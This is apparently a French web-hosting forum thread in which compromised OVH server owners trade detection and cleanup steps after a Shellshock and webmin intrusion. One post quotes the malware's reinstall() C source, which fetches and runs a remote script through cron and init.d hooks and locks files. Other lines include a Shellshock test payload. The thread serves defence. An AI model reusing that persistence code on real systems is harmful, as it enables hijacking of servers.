Permission denied, comment je peux remettre mes crons si je ne peux pas éditer crontab, punaise

Oui j'ai bien nettoyé le fichier "/etc/init.d/webmin"

J'ai relancé cron et webmin et rien à faire je ne peux toujours pas éditer le fichier cron avec crontab-e

Est-ce que c'est normal que le fichier /usr/bin/crontab a comme groupe le chiffre 103 ?

Operceval
22/10/2014, 21h26
bonsoir super les infos j ai tout bon sauf dans wabmin j ai plus les taches

La commande crontab de gestion des fichiers de configuration des utilisateurs n'a pas été trouvée. Se peut-il que Cron ne soit pas installé sur ce système?

arf

Brain 0verride
22/10/2014, 21h25
Je n'ai pas lu tout l'échange mais pour faire simple une grosse partie des scripts automatiques qui exploitent la faille shellshock sont mals écrits et au lieu d'ajouter une tâche cron (qui a pour but de permettre de faire tourner du minage de bitcoin sur le serveur généralement), le fichier est écrasé (/var/spool/cron/crontabs/root). Si vous avez un backup, il suffit de le restaurer après avoir patché le serveur et supprimé les (généralement) 2 ou 3 processus pirates qui y tournent.

cassiopee
22/10/2014, 21h10
Citation Envoyé par nono67
quand je tape :

Est-ce que le résultat est bon ?
Oui.

J'ai un souci avec les droits sur certains fichiers et répertoires corrompus, lorsque je fais :

Je trouves ces 2 résultats, lorsque je reprend les droits de ce répertoire et de ce fichier en tapant :

je refais un coup de lsattr -R / 2>/dev/null | grep -- 's---ia--------' et il ne trouve rien mais quelques minutes plus tard j'ai de nouveau ces 2 lignes si je retape la même :

Que faire de plus ?
Il y a actuellement un script pirate qui fonctionne en RAM dans le serveur dédié.
Tant qu'il n'est pas tué, il va continuer à tout remettre en place (du point de vue du pirate ).

Dans ton cas, je crois que le plus rapide à essayer est simplement de redémarrer le serveur de façon software
(commande "reboot"). Après le redémarrage, tu regardes si tu as toujours des fichiers
"s---ia--------", tu les corriges et tu attends un peu pour voir si ça revient ou pas.

As-tu bien nettoyé le fichier "/etc/init.d/webmin" également ?

nono67
22/10/2014, 21h02
quand je tape :
# ps ax | grep bufdaemon
23737 pts/0 S+ 0:00 grep --colour=auto bufdaemon
Est-ce que le résultat est bon ?

J'ai un souci avec les droits sur certains fichiers et répertoires corrompus, lorsque je fais :
# lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /usr/bin/crontab
s---ia-------- /var/spool/cron/crontabs/root
Je trouves ces 2 résultats, lorsque je reprend les droits de ce répertoire et de ce fichier en tapant :
# chattr -i -a -s /usr/bin/crontab
# chattr -i -a -s /var/spool/cron/crontabs/root
je refais un coup de lsattr -R / 2>/dev/null | grep -- 's---ia--------' et il ne trouve rien mais quelques minutes plus tard j'ai de nouveau ces 2 lignes si je retape la même :
# lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /usr/bin/crontab
s---ia-------- /var/spool/cron/crontabs/root
Que faire de plus ?

pauline76
22/10/2014, 20h57
+1 à LL45 concernant la (non) réactivité d'OVH et les solutions (non) proposées par OVH aux centaines (milliers?) de clients impactés...

LL45
22/10/2014, 20h39
Salut j'ai le même problème que toi c'est une catastrophe après avoir fais la mise à jours de la release 2 avec le patsh de sécurité en mode rescue ovh me dit par téléphone qu'il va falloir tout réinstaller et changer de distrib et passer a la release 3.

Encore une fois je trouve hallucinant qu'ovh envoi le message pour demander de faire la mise à jours une fois que les serveurs soient hackés

il faut déjà mettre ta machine en mode rescue ensuite faire la mise à jours de la release

wget -q ftp://ftp.ovh.net/made-in-ovh/releas...l-release-2.sh -O patch-all-release-2.sh; sh patch-all-release-2.sh

ensuite il va falloir que tu fasse des tests sur ta machine pour voir si tu as déjà été impacté

lsattr /bin /sbin /usr/bin /usr/sbin 2>&1 | grep ia

va te permettre de voir si déjà les droits ont été modifié si tu as des -----ia---- c'est déjà que le serveur et hacké

ensuite il faut que tu regarde au niveau de /etc/init.d/webmin

normalement a la fin tu va voir certainement :

#GENTOO RC

#bufdaemon will be loaded under RC Compatibility
/var/system/pagezero/bufdaemon >/dev/null 2>&1
#DO NOT MODIFY
ca veux aussi dire que ton fichier a été impacté et que tu ne pourra pas modifier le fichier normalement il se termine uniquement avec

stop() {
ebegin "Stopping Webmin"
start-stop-daemon --stop --quiet --pidfile /var/run/webmin.pid
eend $?
}
il faut aussi faire :

ls -la /var/tmp/

drwxrwxrwt 2 root root 4096 Oct 19 15:57 .
drwxr-xr-x 14 root root 4096 Sep 30 10:57 ..
-rw-r--r-- 1 root root 0 Oct 19 15:49 .locked
Ca veux aussi dire qu'il y a un problème sur le répertoire temp


la faille utilisé et par Shellshock

il faut aussi faire le test :

env x='() { :;}; echo vulnerable Shellshock' bash -c 'echo hello'

si le résultat et hello c'est que c'est bon

le hacker et passé par une faille sur webmin, dans tous les cas il ne faut pas le réactiver le laisser :

# /etc/init.d/webmin stop

aussi pour le fichier webmin infecté tu peux faire :

ps ax | grep bufdaemon

si le résultat te met 0 0 ca veux dire que le bufdaemon n'est pas présent sur ta machine

je ne suis pas du tout administrateur mais j'ai passé ma journée au téléphone avec ovh

et les tests sont catastrophiques, je pense qu'il y a énormément de clients ovh en release et a mon avis le problème va être important pour ovh

Il y a aussi un ticket sur travaux.ovh

http://travaux.ovh.net/?do=details&id=11684

tu verra que le problème est un gros problème de sécurité

PS : a tous ceux qui ont le même problème merci de le faire savoir via le poste car a mon avis c'est pas normale la manière dont ovh a gérée

ils sont capable d'envoyer des newsletters souvent ; et pourtant incapable de gérer a temps les hasck c'est une honte, ca met en péril mon activité et je pense que c'est histoire ne va pas se terminer comme ca pour moi.

LL45
22/10/2014, 20h25
Salut j'ai le même problème que toi c'est une catastrophe après avoir fais la mise à jours de la release 2 avec le patsh de sécurité en mode rescue ovh me dit par téléphone qu'il va falloir tout réinstaller et changer de distrib et passer a la release 3.

Encore une fois je trouve hallucinant qu'ovh envoi le message pour demander de faire la mise à jours une fois que les serveurs soient hackés

il faut déjà mettre ta machine en mode rescue ensuite faire la mise à jours de la release

wget -q ftp://ftp.ovh.net/made-in-ovh/releas...l-release-2.sh -O patch-all-release-2.sh; sh patch-all-release-2.sh

ensuite il va falloir que tu fasse des tests sur ta machine pour voir si tu as déjà été impacté

lsattr /bin /sbin /usr/bin /usr/sbin 2>&1 | grep ia

va te permettre de voir si déjà les droits ont été modifié si tu as des -----ia---- c'est déjà que le serveur et hacké

ensuite il faut que tu regarde au niveau de /etc/init.d/webmin

normalement a la fin tu va voir certainement :

#GENTOO RC

#bufdaemon will be loaded under RC Compatibility
/var/system/pagezero/bufdaemon >/dev/null 2>&1
#DO NOT MODIFY
ca veux aussi dire que ton fichier a été impacté et que tu ne pourra pas modifier le fichier normalement il se termine uniquement avec

stop() {
ebegin "Stopping Webmin"
start-stop-daemon --stop --quiet --pidfile /var/run/webmin.pid
eend $?
}
il faut aussi faire :

ls -la /var/tmp/

drwxrwxrwt 2 root root 4096 Oct 19 15:57 .
drwxr-xr-x 14 root root 4096 Sep 30 10:57 ..
-rw-r--r-- 1 root root 0 Oct 19 15:49 .locked
Ca veux aussi dire qu'il y a un problème sur le répertoire temp


la faille utilisé et par Shellshock

il faut aussi faire le test :

env x='() { :;}; echo vulnerable Shellshock' bash -c 'echo hello'

si le résultat et hello c'est que c'est bon

le hacker et passé par une faille sur webmin, dans tous les cas il ne faut pas le réactiver le laisser :

# /etc/init.d/webmin stop

aussi pour le fichier webmin infecté tu peux faire :

ps ax | grep bufdaemon

si le résultat te met 0 0 ca veux dire que le bufdaemon n'est pas présent sur ta machine

je ne suis pas du tout administrateur mais j'ai passé ma journée au téléphone avec ovh

et les tests sont catastrophiques, je pense qu'il y a énormément de clients ovh en release et a mon avis le problème va être important pour ovh

Il y a aussi un ticket sur travaux.ovh

http://travaux.ovh.net/?do=details&id=11684

tu verra que le problème est un gros problème de sécurité

PS : a tous ceux qui ont le même problème merci de le faire savoir via le poste car a mon avis c'est pas normale la manière dont ovh a gérée

ils sont capable d'envoyer des newsletters souvent ; et pourtant incapable de gérer a temps les hasck c'est une honte, ca met en péril mon activité et je pense que c'est histoire ne va pas se terminer comme ca pour moi.

extralarge
22/10/2014, 20h08
Par rapport à ta remarque sur l'origine de l'entrée, il y a certainement les 3 scripts
qmailadmin
sqwebmail
et mrtg
de
/home/ovh/cgi-bin

qui simplifient le travail des robots.

Mettre un htacess dedans serait déjà pas mal car ils doivent se concentrer s'ils attaquent les R2 sur des points communs.


Xavier

cassiopee
22/10/2014, 19h56
Citation Envoyé par extralarge
Merci Cassiopee, la version 2.05b est ok pour le patch sous Release 1. grace à ton aide et ton article je vais pouvoir terminer mon déjeuner de ce midi !!!! lol
Content pour ton estomac

Merci pour ce retour d'infos

extralarge
22/10/2014, 19h52
Citation Envoyé par extralarge
rheu bon ben oui, c'est sympa la spéléologie
Merci !
J'avais déjà recompilé qmail ... espérons que bash soit aussi simple.
Mais de l'aide après une journée de stress est la bienvenue.
Xavier

Merci Cassiopee, la version 2.05b est ok pour le patch sous Release 1. grace à ton aide et ton article je vais pouvoir terminer mon déjeuner de ce midi !!!! lol

Pour la R1, il faut juste faire un lien symbolique de /bin/bash vers

/usr/local/bin/bash
après un whereis bash

Le cp ne fonctionnera pas.

Bye

Xavier

extralarge
22/10/2014, 19h28
Citation Envoyé par cassiopee
Ah je vois que l'on fait dans l'archéologie informatique

Il n'y a pas eu de patch d'OVH pour le Release 1 depuis 2011, donc la seule solution va être la compilation
à partir des sources de Bash, en prenant comme base la version de Bash la plus proche de celle
utilisée dans la Release 1 (*)

Si ce n'est pas possible, au pire, éliminer Bash de l'équation en le remplaçant par un autre shell dans la Release 1.
Mais là c'est un peu/beaucoup terra incognita

PS : Merci d'avoir fait le résumé des commandes/manips

(*) J'avais donné un exemple de compilation de Bash là :
http://forum.ovh.com/showthread.php?...l=1#post620156

(dans cet exemple, je m'arrêtais au patch n°22, les patch jusqu'à 30 ne sont sortis qu'après,
il faudrait bien sûr les reprendre actuellement)

rheu bon ben oui, c'est sympa la spéléologie
Merci !
J'avais déjà recompilé qmail ... espérons que bash soit aussi simple.
Mais de l'aide après une journée de stress est la bienvenue.
Xavier

Garden
22/10/2014, 19h24
Je viens de me rendre compte que je m'etais deja fait hacké le 30/09 sans consequences apparentes (log crontabs ci dessous). Meme hack resté en veille? J'avais juste eu des crons root qui avait sauté ce jour la, les crons de /var/spool/cron/crontabs/root, les cron root d'ovh /etc/crontab n'avait pas été affectés, ni mes crons users /var/spool/cron/crontabs/userX. Comme j'ai presque tous mes crons en user j'avais remis mon cron root par webmin sans chercher plus loin pensant à un bug....

Code:
Sep 30 11:08:42 nsXXXXX crontab[30269]: (root) LIST (root)
Sep 30 11:08:42 nsXXXXX crontab[30281]: (root) DELETE (root)
Sep 30 11:08:43 nsXXXXX crontab[30623]: (root) LIST (root)
Sep 30 11:08:43 nsXXXXX crontab[30634]: (root) DELETE (root)

pauline76
22/10/2014, 19h13
Oui, enfin, cela aurait sympa de la part d'OVH de nous communiquer sur ses guides les manips à faire pour éradiquer ce p....n de problème.
Nous venons de louer un nouveau serveur pour sauvegarder en urgence nos données car on ne sait pas ce qui se passe....
Soit dit en passant, bonjour la release 3 pour accéder au nouveau serveur.... (bonne chance).
enfin...

cassiopee
22/10/2014, 19h11
Citation Envoyé par extralarge
Quelqu'un saurait-il comment mettre à jour Bash sous release 1 ?
Ah je vois que l'on fait dans l'archéologie informatique

Il n'y a pas eu de patch d'OVH pour le Release 1 depuis 2011, donc la seule solution va être la compilation
à partir des sources de Bash, en prenant comme base la version de Bash la plus proche de celle
utilisée dans la Release 1 (*)

Si ce n'est pas possible, au pire, éliminer Bash de l'équation en le remplaçant par un autre shell dans la Release 1.
Mais là c'est un peu/beaucoup terra incognita

PS : Merci d'avoir fait le résumé des commandes/manips

(*) J'avais donné un exemple de compilation de Bash là :
http://forum.ovh.com/showthread.php?...l=1#post620156

(dans cet exemple, je m'arrêtais au patch n°22, les patch jusqu'à 30 ne sont sortis qu'après,
il faudrait bien sûr les reprendre actuellement)

cassiopee
22/10/2014, 19h00
Citation Envoyé par arn0
Le problème avec les MAJ c'est que j'utilise mon serveur pour une tache bien precise et cette tache est très méconu de bon nombre de prestataire qui ne savent pas vraiment comment faire car pas vraiment commun. Donc en gros c'est à moi d'essayer de faire marcher cela et en regle general quand sa marche bien comme maintenant on evite de toucher à quoi que ce soit surtout pour des MAJ aussi importante... Car qui dit MAJ dit programme complètement different que ce que j'ai actuellement
Il est clair que l'on est toujours réticent à mettre à jour un système délicat, complexe, paramétré aux petits oignons ... et qui fonctionne bien à un instant T

Ceci dit, il ne faut pas rester trop longtemps en arrière non plus car après le rattrapage promet d'être violent

C'est une question de compromis.

extralarge
22/10/2014, 18h56
Citation Envoyé par cassiopee
Je connais le ShellShock, pas de souci mais de là à savoir si pour tel ou tel dédié,
c'est par ce biais qu'il a été piraté ... il y a de la marge. C'est souvent compliqué
de déterminer avec précision l'origine du piratage, enfin si le pirate est un
minimum compétent. Un gamin qui utilise un script tout fait qui laisse
des traces partout dans les logs, ça se gère plus facilement

Il y a deux choses bien distinctes :

1) par où le pirate est entré (shellshock, version pas à jour d'un logiciel web, etc.)

2) ce qu'a fait le pirate une fois à l'intérieur.

Ce que l'on voit dans ce topic ne concerne que le point n°2,
or cela ne dit rien sur le point n°1.

Il faudrait analyser tous les fichiers de logs à la recherche d'anomalies
(sous réserve que le pirate n'ait pas fait le ménage dedans).
d'où le patch à installer pour cette faille CGI / variable d'environnement ! car après c'est une autre histoire.

Quelqu'un saurait-il comment mettre à jour Bash sous release 1 ?
Merci!
Xavier

cassiopee
22/10/2014, 18h52
Citation Envoyé par Operceval
bon je n ai plus que 3 présents. sans reboot.
fatigué
Bien

par contre l autre serveur dans web min j ai

La commande crontab de gestion des fichiers de configuration des utilisateurs n'a pas été trouvée. Se peut-il que Cron ne soit pas installé sur ce système?

mes cron tourne bien. j ai tout mis dans le fichier principal.
On peut examiner la commande "crontab".

Chez moi ça donne :

Code:
# ls -al /usr/bin/crontab

-rwxr-s--x 1 root 103 33160 d▒c 11  2007 /usr/bin/crontab
Code:
# lsattr /usr/bin/crontab

-------------- /usr/bin/crontab
Code:
 # md5sum /usr/bin/crontab

01cb5f3f9319455fa3fd8884be388b29  /usr/bin/crontab
Est-ce que tu as les mêmes valeurs ?

cassiopee
22/10/2014, 18h37
Citation Envoyé par seifou
http://infosecnirvana.com/shellshock-hello-honeypot/

T'en penses quoi Cassiopee ? Ça te donne d'avantages de précision quand au problème que nous rencontrons ?
Je connais le ShellShock, pas de souci mais de là à savoir si pour tel ou tel dédié,
c'est par ce biais qu'il a été piraté ... il y a de la marge. C'est souvent compliqué
de déterminer avec précision l'origine du piratage, enfin si le pirate est un
minimum compétent. Un gamin qui utilise un script tout fait qui laisse
des traces partout dans les logs, ça se gère plus facilement

Il y a deux choses bien distinctes :

1) par où le pirate est entré (shellshock, version pas à jour d'un logiciel web, etc.)

2) ce qu'a fait le pirate une fois à l'intérieur.

Ce que l'on voit dans ce topic ne concerne que le point n°2,
or cela ne dit rien sur le point n°1.

Il faudrait analyser tous les fichiers de logs à la recherche d'anomalies
(sous réserve que le pirate n'ait pas fait le ménage dedans).

extralarge
22/10/2014, 18h24
Salut,

Merci à tous.
Merci Cassiope pour tout tes conseils !

Voici une synthèse qui pour l'instant fonctionne chez moi :

0 - dans votre firewall : bloquer les ports 22 et 10000 en entrée sortie sauf pour votre ip

1 - arrêter Webmin
/etc/webmin/stop

2 - la méchante bestiole à :

- créé des répertoires, (ex /var/system)
- créé des fichiers (notamment dans crontab.weekly)
- modifié des fichiers (webmin)
- mis des attributs (pour éviter de modifier et supprimer ses fichiers)

Donc :

3 - voir déjà les fichiers dont les attributs ont été modifiés :
lsattr -R / 2>/dev/null | grep -- 's---ia--------'

chez moi :
s---ia-------- /etc/runlevels/default/webmin
s---ia-------- /etc/init.d/webmin
s---ia-------- /usr/sbin/lsof
s---ia-------- /usr/libexec/ssh-keysign
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /var/lib/init.d/softscripts/webmin
s---ia-------- /var/lib/init.d/started/webmin
/etc/cron_wekkly
/var/spool/cron/crontabs/root
/var/lib/init.d/softscripts/webmin


4-
Pour chaque fichier ou répertoire faire
chattr -R -i -a -s /repertoire
ou
chattr -i -a -s /fichier
ce qui permet de permettre la suppression ou modification des fichiers

- supprimer :
rm -rf /tmp/d
et tous les fichiers de /tmp....qui ne sont que temporaires.

- remettre le cron en l'état :

rm -rf /etc/cron_wekkly/00logrotate : tâche qui récupère le virus toutes les semaines
vérifier /var/spool/cron/crontabs/root
le reprogrammer via crontab -e ( et surtout pas avec nano)

- renommer :
rename /var/system /var/systemDuTroyanQuiNeSertPlusARien ( c'est certainement le coeur du virus avec tous ses services : nmap ......)
rename /usr/libexec/ssh-keysign /usr/libexec/ssh-keysignDuTroyanQuiNeSertPlusARien


- remplacer lsof :
rename /usr/sbin/lsof /usr/sbin/lsofDesactive
cp /usr/src/bin/lsof /usr/sbin/lsof

- editer webmin
nano /etc/init.d/webmin
supprimer
#GENTOO RC

#bufdaemon will be loaded under RC Compatibility
/var/system/pagezero/bufdaemon >/dev/null 2>&1
#DO NOT MODIFY



5 - chercher les process qui tournent encore
ps ax | grep bufdaemon
puis kill de l'ID retourné
kill -9 XXXXXX

6 relancer

lsattr -R / 2>/dev/null | grep -- 's---ia--------'

qui ne devrait rien afficher.
Sinon, recommencer

7 Installer le patch ovh
wget -q ftp://ftp.ovh.net/made-in-ovh/releas...l-release-2.sh -O patch-all-release-2.sh; sh patch-all-release-2.sh


8 - Redémarrer le serveur.

9 - Eventuellement redémarrer webmin

/etc/webmin/start




Chez moi, je programme via 2 tâches cron, le démarrage et l'arrêt du serveur SSH, le temps de faire des RSYNCS automatiques entre serveurs.
Si j'en ai besoin, je le rallume via webmin.



Bye

Xavier

Un_passant
22/10/2014, 18h03
Je viens de redémarrer (après backup) le serveur, il me reste plus que cela comme résultat :
lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /usr/bin/ssh-add
J'ai déjà loué un autre serveur, il me reste plus qu'à le configurer, j’espère que le hacker va me laisser une ou deux semaines....

Merci à tous pour votre aide (cassiopee et bbr18)

arn0
22/10/2014, 17h47
Citation Envoyé par cassiopee

Un serveur peut être piraté de 1001 façons différentes, ce qui donne autant de symptômes différents.

On peut chercher des choses suspectes dans "/tmp" ou encore en RAM.

De nos jours, le point le plus critique va être le ou les sites web hébergés. S'ils utilisent des versions
obsolètes (comprendre : pas la toute dernière en date) de CMS du genre Joomla, WordPress, etc.
ou encore si tous les plugins/addons/themes/templates ne sont pas à jour, le risque est grand.

Si on a un outil très utilisé du genre phpMyAdmin, fckEditor, etc. pas à jour et installé dans un répertoire
pas trop difficile à deviner pour un pirate, le risque est grand.

Au delà du site web lui-même, un bug comme le ShellShock est relativement générique
dans le sens où il s'adresse directement au shell (Bash en l'occurence).
Je n'utilise pas de template, cms addons, wordpress ou autre truc tout fait
Pour phpmyadmin j'avais fait la manip du rep
Pas de problème dans la RAM et les graphes semblent OK.

Le problème avec les MAJ c'est que j'utilise mon serveur pour une tache bien precise et cette tache est très méconu de bon nombre de prestataire qui ne savent pas vraiment comment faire car pas vraiment commun. Donc en gros c'est à moi d'essayer de faire marcher cela et en regle general quand sa marche bien comme maintenant on evite de toucher à quoi que ce soit surtout pour des MAJ aussi importante... Car qui dit MAJ dit programme complètement different que ce que j'ai actuellement

Operceval
22/10/2014, 17h42
bon je n ai plus que 3 présents. sans reboot.
fatigué

par contre l autre serveur dans web min j ai

La commande crontab de gestion des fichiers de configuration des utilisateurs n'a pas été trouvée. Se peut-il que Cron ne soit pas installé sur ce système?

mes cron tourne bien. j ai tout mis dans le fichier principal.

seifou
22/10/2014, 17h27
http://infosecnirvana.com/shellshock-hello-honeypot/

T'en penses quoi Cassiopee ? Ça te donne d'avantages de précision quand au problème que nous rencontrons ?

cassiopee
22/10/2014, 17h22
Citation Envoyé par arn0
Bonjour je viens de lire les 21 pages

Ce que je comprends pas c'est pourquoi a priori il y a que les Release 2 OVh qui sont touchées et en même temps ?
Question de nombre sans doute, il doit y avoir un bon paquet de dédiés sous Release 2 chez OVH

Et puis, souvent ce sont des machines utilisées par des personnes qui débutent en administration système
et qui n'ont pas forcément les bons réflexes en matière de mise à jour, ça joue beaucoup sur l'aspect
plus ou moins facilement piratable des serveurs.

Une machine pas à jour est une proie plus facile qu'une autre.

je suis actuellement sur une vieille version ubuntu 8.0.4 avec Virtualmin/webmin (il faut que je migre vers un version plus récente mais bon sur un serveur prod c'est compliqué et en plus faut réécrire tous les scripts car du coup des nouvelles versions et j'y connais pas grand chose...)
Et plus on attend pour faire une telle mise à jour, plus la hauteur de la marche est importante

Comment peut on voir simplement si je suis touché par sa ? A priori j'ai pas de soucis avec mes taches cron
Les tâches supprimées, ce n'est que l'un des nombreux symptômes.

Un serveur peut être piraté de 1001 façons différentes, ce qui donne autant de symptômes différents.

On peut chercher des choses suspectes dans "/tmp" ou encore en RAM.

De nos jours, le point le plus critique va être le ou les sites web hébergés. S'ils utilisent des versions
obsolètes (comprendre : pas la toute dernière en date) de CMS du genre Joomla, WordPress, etc.
ou encore si tous les plugins/addons/themes/templates ne sont pas à jour, le risque est grand.

Si on a un outil très utilisé du genre phpMyAdmin, fckEditor, etc. pas à jour et installé dans un répertoire
pas trop difficile à deviner pour un pirate, le risque est grand.

Au delà du site web lui-même, un bug comme le ShellShock est relativement générique
dans le sens où il s'adresse directement au shell (Bash en l'occurence).

arn0
22/10/2014, 17h05
Bonjour je viens de lire les 21 pages

Ce que je comprends pas c'est pourquoi a priori il y a que les Release 2 OVh qui sont touchées et en même temps ?

je suis actuellement sur une vieille version ubuntu 8.0.4 avec Virtualmin/webmin (il faut que je migre vers un version plus récente mais bon sur un serveur prod c'est compliqué et en plus faut réécrire tous les scripts car du coup des nouvelles versions et j'y connais pas grand chose...)

Comment peut on voir simplement si je suis touché par sa ? A priori j'ai pas de soucis avec mes taches cron

cassiopee
22/10/2014, 16h44
Citation Envoyé par Garden
yop la ref à /usr/libexec/ssh-askpass ? pourtant le fichier hack était /usr/libexec/ssh-keysign et je n'ai pas de fichier /usr/libexec/ssh-askpass
Oui, c'est bien cette référence.

Chez moi il y a "/usr/lib64/misc/ssh-askpass" (qui n'existe pas non plus d'ailleurs).

En dehors de ça, il n'y a rien de vraiment évident qui laisserait à penser que c'est
une version frelatée, c'est simplement que les chaînes de caractères ne sont pas
dans le même ordre.

C'est peut-être en fonction de l'évolution des versions de Release dans ton serveur.

PS : J'ai bien reçu ton email, j'y réponds dès que j'ai 30 secondes

Garden
22/10/2014, 16h16
Citation Envoyé par cassiopee
Ok, donc c'est vrai que normalement, les "strings" devraient être identiques.

Il est possible que ce soit une version piratée, car dans ton "strings" on peut voir une référence à "/usr/libexec",
répertoire où il y avait des scripts pirates tout à l'heure.
(dans mes "strings" à cet endroit, il est fait référence à "/usr/lib64/misc" à la place).
yop la ref à /usr/libexec/ssh-askpass ? pourtant le fichier hack était /usr/libexec/ssh-keysign et je n'ai pas de fichier /usr/libexec/ssh-askpass

cassiopee
22/10/2014, 16h09
Citation Envoyé par Garden
oui 2.35
Ok, donc c'est vrai que normalement, les "strings" devraient être identiques.

Il est possible que ce soit une version piratée, car dans ton "strings" on peut voir une référence à "/usr/libexec",
répertoire où il y avait des scripts pirates tout à l'heure.
(dans mes "strings" à cet endroit, il est fait référence à "/usr/lib64/misc" à la place).

- - - Mise à jour - - -

Citation Envoyé par Operceval
ok mais c est pareil il change d id en une fraction de seconde le salopio
Etrange. Essaye de voir s'il n'y a pas d'autres processus suspects en RAM.

(tu es sûr de ne pas confondre avec la ligne du "grep" lui-même ?)

Operceval
22/10/2014, 16h04
ok mais c est pareil il change d id en une fraction de seconde le salopio

cassiopee
22/10/2014, 16h01
Citation Envoyé par Operceval
en fait il change tous d ID je ne suis pas assez rapide pour les kill.


s---ia-------- /tmp/d
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /proc/949/task/949/cwd
s---ia-------- /proc/949/cwd
s---ia-------- /proc/27478/task/27478/cwd
s---ia-------- /proc/27478/cwd
s---ia-------- /proc/27479/task/27479/cwd
s---ia-------- /proc/27479/cwd
suis pas lukyluke
Ok mais là en fait, c'est le processus "/tmp/d" qu'il faudrait rechercher en RAM
(commandes "ps" vues plus haut) et supprimer (commande "kill") car lui est très suspect.

Les autres peuvent être des processus fils qu'il lance au fur et à mesure.

Garden
22/10/2014, 15h59
Citation Envoyé par cassiopee
Ok, donc c'est une version 64 bits. La release est en version 2.35 ?

(commande "cat /etc/ovhrelease" pour le savoir)
oui 2.35

cassiopee
22/10/2014, 15h59
Citation Envoyé par Garden
Arf, que donne comme résultat la commande :

Code:
uname -m
x86_64
Ok, donc c'est une version 64 bits. La release est en version 2.35 ?

(commande "cat /etc/ovhrelease" pour le savoir)

Operceval
22/10/2014, 15h57
mais bon le MRTG est plat donc il se passe rien :/

cassiopee
22/10/2014, 15h56
Citation Envoyé par Operceval
hihi, moi non plus.
alors comment je peux dire. : le process apparait sur un id et disparait . il se relance sous un autre id. il n abouti pas ? si j ai bien compris ? non lol
Ce n'est pas beaucoup plus clair

De deux choses l'une :

- soit il y a un script pirate en RAM, donc en cours d'exécution dans le dédié
- soit il n'y a pas de script pirate en RAM.

Dans le premier cas, il peut se passer des tas de choses, du genre on nettoie plein de fichiers,
on pense en avoir fini et paf, les scripts pirates se réinstallent ...

C'est pour ça qu'il est important de d'abord faire le ménage en RAM et une fois que l'on est
sûr que tout va bien de ce côté là (au besoin en redémarrant tout le serveur), alors on peut purger
le disque dur tranquillement.

Operceval
22/10/2014, 15h55
en fait il change tous d ID je ne suis pas assez rapide pour les kill.


s---ia-------- /tmp/d
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /proc/949/task/949/cwd
s---ia-------- /proc/949/cwd
s---ia-------- /proc/27478/task/27478/cwd
s---ia-------- /proc/27478/cwd
s---ia-------- /proc/27479/task/27479/cwd
s---ia-------- /proc/27479/cwd
suis pas lukyluke

Garden
22/10/2014, 15h53
Arf, que donne comme résultat la commande :

Code:
uname -m
x86_64

Grems
22/10/2014, 15h52
@cassiopee
Un grand merci.
Je regardais la source "a.c" du bot téléchargé par le cron de façon hebdomadaire et j'ai remarqué une méthode reinstall()

void reinstall() {

system("cat /etc/init.d/ssh|grep -v wget && sed -i 's=umask 022=umask 022; wget -q URL_TRONQUE_FORUM_OVH_POUR_STABLEHOST_US -O /tmp/sh;sh /tmp/sh &;rm -rf /tmp/sh=g' /etc/init.d/ssh");

system("echo '#!/bin/sh' > /etc/cron.weekly/logrotater");
system("echo 'wget -q URL_TRONQUE_FORUM_OVH_POUR_STABLEHOST_US -O /tmp/sh' >>/etc/cron.weekly/logrotater");
system("echo 'sh /tmp/sh;rm /tmp/sh' >>/etc/cron.weekly/logrotater");

system("chmod +x /etc/cron.weekly/logrotater");
system("chattr +isa /etc/cron.weekly/logrotator");
system("crontab -r|grep -v stable >/tmp/c");
system("echo '@weekly wget -q URL_TRONQUE_FORUM_OVH_POUR_STABLEHOST_US -O /tmp/sh;sh /tmp/sh;rm /tmp/sh >/dev/null 2>&1' >> /tmp/c");
system("crontab /tmp/c;rm /tmp/c");

system("chattr +isa /etc/init.d/ssh");
system("chattr +isa /var/spool/cron/crontabs/root");
system("chmod 000 /usr/bin/crontab;chattr +isa /usr/bin/crontab");
system("rm /usr/bin/chattr");

}
Ca cherchais à ajouter des informations dans init.d/ssh, mais pas init.d/sshd... M'enfin au cas ou et vu la date du fichier, je me suis méfié...

Merci en tout cas !

Operceval
22/10/2014, 15h50
hihi, moi non plus.
alors comment je peux dire. : le process apparait sur un id et disparait . il se relance sous un autre id. il n abouti pas ? si j ai bien compris ? non lol

cassiopee
22/10/2014, 15h44
Citation Envoyé par Grems
Bonjour,

Enfin, surtout bonjour cassiopee vu que ce message t'est destiné :-)

Pourrais-tu stp me donner le md5 ainsi que les attributs de ton fichier /etc/init.d/sshd voire carrément son contenu !
Le mien du 11Oct 5h26 ne me plait pas vraiment ...
Chez moi :

Code:
# ls -al /etc/init.d/sshd

-rwxr-xr-x 1 root root 2114 f▒v  3  2011 /etc/init.d/sshd
Code:
# md5sum /etc/init.d/sshd

f71564ffab359faead63717920c3086b  /etc/init.d/sshd
(donc ça parait ok pour toi)

Malgré tout, son contenu :

Code:
#!/sbin/runscript
# Copyright 1999-2006 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/files/sshd.rc6,v 1.23 2007/09/20 07:38:06 vapier Exp $

opts="reload"

depend() {
        use logger dns
        need net
}

SSHD_CONFDIR=${SSHD_CONFDIR:-/etc/ssh}
SSHD_PIDFILE=${SSHD_PIDFILE:-/var/run/${SVCNAME}.pid}
SSHD_BINARY=${SSHD_BINARY:-/usr/sbin/sshd}

checkconfig() {
        if [ ! -d /var/empty ] ; then
                mkdir -p /var/empty || return 1
        fi

        if [ ! -e "${SSHD_CONFDIR}"/sshd_config ] ; then
                eerror "You need an ${SSHD_CONFDIR}/sshd_config file to run sshd"
                eerror "There is a sample file in /usr/share/doc/openssh"
                return 1
        fi

        gen_keys || return 1

        "${SSHD_BINARY}" -t ${myopts} || return 1
}

gen_keys() {
        if [ ! -e "${SSHD_CONFDIR}"/ssh_host_key ] ; then
                einfo "Generating Hostkey..."
                /usr/bin/ssh-keygen -t rsa1 -b 1024 -f "${SSHD_CONFDIR}"/ssh_host_key -N '' || return 1
        fi
        if [ ! -e "${SSHD_CONFDIR}"/ssh_host_dsa_key ] ; then
                einfo "Generating DSA-Hostkey..."
